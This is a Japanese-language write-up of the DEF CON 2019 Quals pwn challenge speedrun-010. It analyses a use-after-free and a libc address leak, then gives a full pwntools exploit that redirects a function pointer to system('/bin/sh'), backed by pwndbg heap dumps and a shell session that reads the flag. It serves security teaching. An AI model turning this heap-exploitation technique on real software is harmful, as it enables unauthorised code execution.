speedrun-010(Pwn)
Baby Driver
speedrun-010.quals2019.oooverflow.io 31337
公式GitHub: https://github.com/o-o-overflow/dc2019q-speedrun-010
ファイル情報
# file ./speedrun-010
./speedrun-010: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=ceb64690b7678c81ca380737a75a5bf8f3b78e33, stripped
# checksec ./speedrun-010
[*] '(snip)/speedrun-010'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
操作関連
- 名前(name)とメッセージ(message)を登録できる
- 名前に続けてメッセージを登録すると、登録した内容が表示される
- 名前登録(選択肢:1)とメッセージ登録(選択肢:2)以外の選択肢(3~5)の動作はまだ不明(
I DID IT
とだけ表示される)
# ./speedrun-010
Secure Coding is hard!
Choose something.
1, 2, 3, 4, or 5
1hoge
Need a name
Choose something.
1, 2, 3, 4, or 5
2fuga
Need a message
hoge
says
fuga
Choose something.
1, 2, 3, 4, or 5
3
Choose something.
1, 2, 3, 4, or 5
I DID IT
静的解析
全体
- Full RELROなのでGOT書き換えは不可。
- PIEが効いているので、実行ファイルがロードされるアドレスは毎回変わる。
選択肢について
選択肢ごとの動きは下記。
1
名前を入力させる
2
メッセージを入力させる
3
直近に登録した名前領域(struc_name)をfree()
4
直近に登録したメッセージ領域(struc_msg)をfree()
5
終了
(選択肢:1)名前入力処理の詳細
関係する構造体(struc_name)は下記。
大まかな処理は下記。
- 登録済みnameのカウンタ(count_name、1~5)をインクリメント
- 48バイト分malloc() -> struc_name
- struc_name.nameにnameを最大23バイト読み込み
- struc_name.ptr_putsにputs()のlibc上アドレス(puts_ptr)を格納
- struc_nameのアドレスを.bss上(ここではarray_strucname[count_name - 1])に格納
(選択肢:2)メッセージ入力処理の詳細
関係する構造体(struc_msg)は下記。
大まかな処理は下記。
- 登録済みmessageのカウンタ(count_msg、1~5)をインクリメント
- 48バイト分malloc() -> struc_msg
- struc_msg.messageにmessageを最大24バイト読み込み
- 直近に登録したstruc_nameを参照(array_strucname[count_name - 1])し、struc_name.ptr_puts(struc_name.name)を実行
- 通常であれば、直近に入力したnameをputs()で表示
- struc_msg.ptr_putsにputsのlibc上アドレス(puts_ptr)を格納
- struc_msg.ptr_puts(struc_msg.message)を実行
- 通常であれば、直近に入力したmessageをputs()で表示
- struc_msg.addr_nameに、直近に登録したstruc_nameのアドレスを格納
- struc_msgのアドレスを.bss上(ここではarray_strucmsg[count_msg - 1])に格納
(選択肢:3)名前領域free()の詳細
大まかな処理は下記。
- 直近に登録したstruc_name(array_strucname[count_name - 1])の領域をfree()
- count_nameは
デクリメントしない
(選択肢:4)メッセージ領域freeの詳細
大まかな処理は下記。
- 直近に登録したstruc_msg(array_strucmsg[count_msg - 1])の領域をfree()
- count_msgを
デクリメントする
考察
- struc_nameとstruc_msgはどちらもサイズが48バイトで同じだが、puts()のlibc上アドレスを格納する領域のオフセットが異なる
- struc_name.ptr_puts: 0x20
- struc_msg.ptr_puts: 0x8
- 仮にプログラムが2種類の構造体を取り違えて処理した場合、
ptr_puts
の実行時に任意のアドレスを実行される可能性がある- struc_name.ptr_puts -> struc_msg.message(の、0x10バイト目)
- struc_msg.ptr_puts -> struc_name.name
脆弱性
puts()のlibc上アドレスのリーク
- struc_nameおよびstruc_msgの領域確保時にmalloc()を使用しているため、確保した領域に以前のデータが残っている可能性がある
- たとえばstruc_nameをfree()した直後にstruc_msgを確保し、その際にmessageを0x10バイト入力すると、入力したmessageに続いてputs()のlibc上アドレス(直前まで確保されていたstruc_name.ptr_putsに該当)が表示されると考えられる
Use After Free(UAF)
- struc_nameのfree()時にcount_nameがデクリメントされない(struc_msgのfree時は正しくcount_msgがデクリメントされる)
- struc_nameをfree()した直後にarray_strucname[count_name - 1]の情報を参照すると、すでにfree()された領域の情報が返る(UAF)
- 上記のような状態でstruc_msgを確保すると、直前にfree()したstruc_name領域が再利用される
- 続いてmessageとして任意の0x10バイトの直後(旧struc_name.ptr_putsに該当)に任意のアドレスを入力すると、struc_msg追加時の処理の一環として本来はputs(struc_name.name)が実行されるはずが、前述の任意のアドレスが実行されることになる
方針
- nameとmessageをそれぞれ1つずつ登録する。
- nameをfree()する。
- messageを登録する。このときmessageの文字列長は0x10バイト。
- 応答にputs()のlibc上アドレスが含まれるので、そこから下記を求める
- libcのベースアドレス
- system()のlibc上アドレス
- nameを登録する。このとき名前struc_name.nameとして
/bin/sh\0
を登録する。 - nameをfree()する。
- messageを登録する。このときメッセージとして
(任意の文字列0x10バイト) + system()のlibc上アドレス
を登録する。 - 上記処理時にstruc_name.ptr_puts(struc_name.name)が呼ばれる際、実際は
system('/bin/sh\0')
が呼ばれる。
exploit
from pwn import *
BIN = './speedrun-010'
LIBC = './libc.so.6'
elf = ELF(BIN)
libc = ELF(LIBC)
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
target = 'speedrun-010.quals2019.oooverflow.io'
port = 31337
conn = remote(target, port)
def reg_name(name):
conn.sendafter('5\n', '1')
conn.sendafter('name\n', name)
def reg_msg(msg):
conn.sendafter('5\n', '2')
conn.sendafter('message\n', msg)
def free_name():
conn.sendafter('5\n', '3')
def free_msg():
conn.sendafter('5\n', '4')
reg_name('A'*8)
reg_msg('a'*8)
free_name()
reg_msg('b'*0x10)
conn.recvuntil('\n says \n')
res = conn.recvline(False)[0x10:]
puts_libc = u64(res.ljust(8, '\0'))
libc_base = puts_libc - puts_offset
system_libc = libc_base + system_offset
log.info('puts_libc: {0}'.format(hex(puts_libc)))
log.info('system_libc: {0}'.format(hex(system_libc)))
reg_name('/bin/sh\0')
free_name()
conn.sendafter('5\n', '2')
conn.sendafter('message\n', 'z'*0x10 + p64(system_libc))
conn.interactive()
conn.close()
検証メモ
1.
nameとmessageをそれぞれ1つずつ登録する。
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x55b5254d1000 0x55b5254d2000 r-xp 1000 0 /root/ctf/defcon2019/speedrun-010/speedrun-010
0x55b5256d2000 0x55b5256d3000 r--p 1000 1000 /root/ctf/defcon2019/speedrun-010/speedrun-010
0x55b5256d3000 0x55b5256d4000 rw-p 1000 2000 /root/ctf/defcon2019/speedrun-010/speedrun-010
0x55b5258be000 0x55b5258df000 rw-p 21000 0 [heap]
0x7f655abf6000 0x7f655addd000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f655addd000 0x7f655afdd000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f655afdd000 0x7f655afe1000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f655afe1000 0x7f655afe3000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f655afe3000 0x7f655afe7000 rw-p 4000 0
0x7f655afe7000 0x7f655b00e000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f655b1f4000 0x7f655b1f6000 rw-p 2000 0
0x7f655b20e000 0x7f655b20f000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f655b20f000 0x7f655b210000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f655b210000 0x7f655b211000 rw-p 1000 0
0x7ffea49aa000 0x7ffea49cb000 rw-p 21000 0 [stack]
0x7ffea49f3000 0x7ffea49f6000 r--p 3000 0 [vvar]
0x7ffea49f6000 0x7ffea49f8000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> set $base=0x55b5254d1000
pwndbg> parseheap
addr prev size status fd bk
0x55b5258be000 0x0 0x250 Used None None
0x55b5258be250 0x0 0x40 Used None None
0x55b5258be290 0x0 0x40 Used None None
pwndbg> telescope $base+0x202080
00:0000│ 0x55b5256d3080 —▸ 0x55b5258be260 ◂— 0x0
01:0008│ 0x55b5256d3088 ◂— 0x0
... ↓
pwndbg> telescope $base+0x202040
00:0000│ 0x55b5256d3040 —▸ 0x55b5258be2a0 —▸ 0x55b5258be260 ◂— 0x0
01:0008│ 0x55b5256d3048 ◂— 0x0
... ↓
pwndbg> x/20gx 0x55b5258be250
0x55b5258be250: 0x0000000000000000 0x0000000000000041
0x55b5258be260: 0x0000000000000000 0x4141414141414141
0x55b5258be270: 0x0000000000000000 0x0000000000000000
0x55b5258be280: 0x00007f655ac769c0 0x0000000000000000
0x55b5258be290: 0x0000000000000000 0x0000000000000041
0x55b5258be2a0: 0x000055b5258be260 0x00007f655ac769c0
0x55b5258be2b0: 0x6161616161616161 0x0000000000000000
0x55b5258be2c0: 0x0000000000000000 0x0000000000000000
0x55b5258be2d0: 0x0000000000000000 0x0000000000020d31
0x55b5258be2e0: 0x0000000000000000 0x0000000000000000
pwndbg> telescope 0x55b5258be250
00:0000│ 0x55b5258be250 ◂— 0x0
01:0008│ 0x55b5258be258 ◂— 0x41 /* 'A' */
02:0010│ 0x55b5258be260 ◂— 0x0
03:0018│ 0x55b5258be268 ◂— 'AAAAAAAA'
04:0020│ 0x55b5258be270 ◂— 0x0
... ↓
06:0030│ 0x55b5258be280 —▸ 0x7f655ac769c0 (puts) ◂— push r13
07:0038│ 0x55b5258be288 ◂— 0x0
pwndbg>
08:0040│ 0x55b5258be290 ◂— 0x0
09:0048│ 0x55b5258be298 ◂— 0x41 /* 'A' */
0a:0050│ 0x55b5258be2a0 —▸ 0x55b5258be260 ◂— 0x0
0b:0058│ 0x55b5258be2a8 —▸ 0x7f655ac769c0 (puts) ◂— push r13
0c:0060│ 0x55b5258be2b0 ◂— 'aaaaaaaa'
0d:0068│ 0x55b5258be2b8 ◂— 0x0
... ↓
pwndbg> hexdump $rbp-0x24
+0000 0x7ffea49c91bc 01 (snip)
pwndbg> hexdump $rbp-0x28
+0000 0x7ffea49c91b8 01 (snip)
2.
nameをfree()する。
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55b5258be2d0 (size : 0x20d30)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x40) tcache_entry[2](1): 0x55b5258be260
pwndbg> hexdump $rbp-0x24
+0000 0x7ffea49c91bc 01 (snip)
3.
messageを登録する。このときmessageの文字列長は0x10バイト。
pwndbg> x/20gx 0x55b5258be250
0x55b5258be250: 0x0000000000000000 0x0000000000000041
0x55b5258be260: 0x000055b5258be260 0x00007f655ac769c0
0x55b5258be270: 0x6262626262626262 0x6262626262626262
0x55b5258be280: 0x00007f655ac769c0 0x0000000000000000
0x55b5258be290: 0x0000000000000000 0x0000000000000041
0x55b5258be2a0: 0x000055b5258be260 0x00007f655ac769c0
0x55b5258be2b0: 0x6161616161616161 0x0000000000000000
0x55b5258be2c0: 0x0000000000000000 0x0000000000000000
0x55b5258be2d0: 0x0000000000000000 0x0000000000020d31
0x55b5258be2e0: 0x0000000000000000 0x0000000000000000
pwndbg> telescope $base+0x202040
00:0000│ 0x55b5256d3040 —▸ 0x55b5258be2a0 —▸ 0x55b5258be260 ◂— 0x55b5258be260
01:0008│ 0x55b5256d3048 —▸ 0x55b5258be260 ◂— 0x55b5258be260
02:0010│ 0x55b5256d3050 ◂— 0x0
... ↓
pwndbg> hexdump $rbp-0x28
+0000 0x7ffea49c91b8 02 (snip)
4.
応答にputs()のlibc上アドレスが含まれるので、そこから下記を求める
- libcのベースアドレス(libc_base)
- system()のlibc上アドレス
[*] puts_libc: 0x7f655ac769c0
[*] system_libc: 0x7f655ac45440
pwndbg> p system
$2 = {int (const char *)} 0x7f655ac45440 <__libc_system>
5.
nameを登録する。このとき名前として/bin/sh\0
を登録する。
pwndbg> parseheap
addr prev size status fd bk
0x55b5258be000 0x0 0x250 Used None None
0x55b5258be250 0x0 0x40 Used None None
0x55b5258be290 0x0 0x40 Used None None
0x55b5258be2d0 0x0 0x40 Used None None
pwndbg> x/28gx 0x55b5258be250
0x55b5258be250: 0x0000000000000000 0x0000000000000041
0x55b5258be260: 0x000055b5258be260 0x00007f655ac769c0
0x55b5258be270: 0x6262626262626262 0x6262626262626262
0x55b5258be280: 0x00007f655ac769c0 0x0000000000000000
0x55b5258be290: 0x0000000000000000 0x0000000000000041
0x55b5258be2a0: 0x000055b5258be260 0x00007f655ac769c0
0x55b5258be2b0: 0x6161616161616161 0x0000000000000000
0x55b5258be2c0: 0x0000000000000000 0x0000000000000000
0x55b5258be2d0: 0x0000000000000000 0x0000000000000041
0x55b5258be2e0: 0x0000000000000000 0x0068732f6e69622f
0x55b5258be2f0: 0x0000000000000000 0x0000000000000000
0x55b5258be300: 0x00007f655ac769c0 0x0000000000000000
0x55b5258be310: 0x0000000000000000 0x0000000000020cf1
0x55b5258be320: 0x0000000000000000 0x0000000000000000
pwndbg> hexdump 0x55b5258be2d0
+0000 0x55b5258be2d0 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00 00 │....│....│A...│....│
+0010 0x55b5258be2e0 00 00 00 00 00 00 00 00 2f 62 69 6e 2f 73 68 00 │....│....│/bin│/sh.│
+0020 0x55b5258be2f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
+0030 0x55b5258be300 c0 69 c7 5a 65 7f 00 00 00 00 00 00 00 00 00 00 │.i.Z│e...│....│....│
pwndbg> telescope $base+0x202080
00:0000│ 0x55b5256d3080 —▸ 0x55b5258be260 ◂— 0x55b5258be260
01:0008│ 0x55b5256d3088 —▸ 0x55b5258be2e0 ◂— 0x0
02:0010│ 0x55b5256d3090 ◂— 0x0
... ↓
pwndbg> hexdump $rbp-0x24
+0000 0x7ffea49c91bc 02 (snip)
6.
nameをfree()する。
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55b5258be310 (size : 0x20cf0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x40) tcache_entry[2](1): 0x55b5258be2e0
pwndbg> hexdump $rbp-0x24
+0000 0x7ffea49c91bc 02 (snip)
pwndbg> telescope $base+0x202080
00:0000│ 0x55b5256d3080 —▸ 0x55b5258be260 ◂— 0x55b5258be260
01:0008│ 0x55b5256d3088 —▸ 0x55b5258be2e0 ◂— 0x0
02:0010│ 0x55b5256d3090 ◂— 0x0
... ↓
7.
messageを登録する。このときメッセージとして(任意の文字列0x10バイト) + system()のlibc上アドレス
を登録する。
pwndbg> x/28gx 0x55b5258be250
0x55b5258be250: 0x0000000000000000 0x0000000000000041
0x55b5258be260: 0x000055b5258be260 0x00007f655ac769c0
0x55b5258be270: 0x6262626262626262 0x6262626262626262
0x55b5258be280: 0x00007f655ac769c0 0x0000000000000000
0x55b5258be290: 0x0000000000000000 0x0000000000000041
0x55b5258be2a0: 0x000055b5258be260 0x00007f655ac769c0
0x55b5258be2b0: 0x6161616161616161 0x0000000000000000
0x55b5258be2c0: 0x0000000000000000 0x0000000000000000
0x55b5258be2d0: 0x0000000000000000 0x0000000000000041
0x55b5258be2e0: 0x0000000000000000 0x0068732f6e69622f
0x55b5258be2f0: 0x7a7a7a7a7a7a7a7a 0x7a7a7a7a7a7a7a7a
0x55b5258be300: 0x00007f655ac45440 0x0000000000000000
0x55b5258be310: 0x0000000000000000 0x0000000000020cf1
0x55b5258be320: 0x0000000000000000 0x0000000000000000
pwndbg> telescope $base+0x202080
00:0000│ 0x55b5256d3080 —▸ 0x55b5258be260 ◂— 0x55b5258be260
01:0008│ 0x55b5256d3088 —▸ 0x55b5258be2e0 ◂— 0x0
02:0010│ 0x55b5256d3090 ◂— 0x0
...
pwndbg> hexdump $rbp-0x24
+0000 0x7ffea49c91bc 02 (snip)
pwndbg> telescope 0x55b5258be2d0
00:0000│ 0x55b5258be2d0 ◂— 0x0
01:0008│ 0x55b5258be2d8 ◂— 0x41 /* 'A' */
02:0010│ 0x55b5258be2e0 ◂— 0x0
03:0018│ rdx rdi 0x55b5258be2e8 ◂— 0x68732f6e69622f /* '/bin/sh' */
04:0020│ rsi 0x55b5258be2f0 ◂— 0x7a7a7a7a7a7a7a7a ('zzzzzzzz')
... ↓
06:0030│ 0x55b5258be300 —▸ 0x7f655ac45440 (system) ◂— test rdi, rdi
07:0038│ 0x55b5258be308 ◂— 0x0
8.
上記処理時にstruc_name.ptr_puts(struc_name.name)が呼ばれる際、実際はsystem('/bin/sh\0')
が呼ばれる。
► 0x55b5254d1a2d call rax <0x7f655ac45440>
command: 0x55b5258be2e8 ◂— 0x68732f6e69622f /* '/bin/sh' */
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ ls
-
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
service.conf
speedrun-010
srv
sys
tmp
usr
var
wrapper
$ cat flag
OOO{Yeah, he's loony. He just like his toons. Aren't W#_____411???}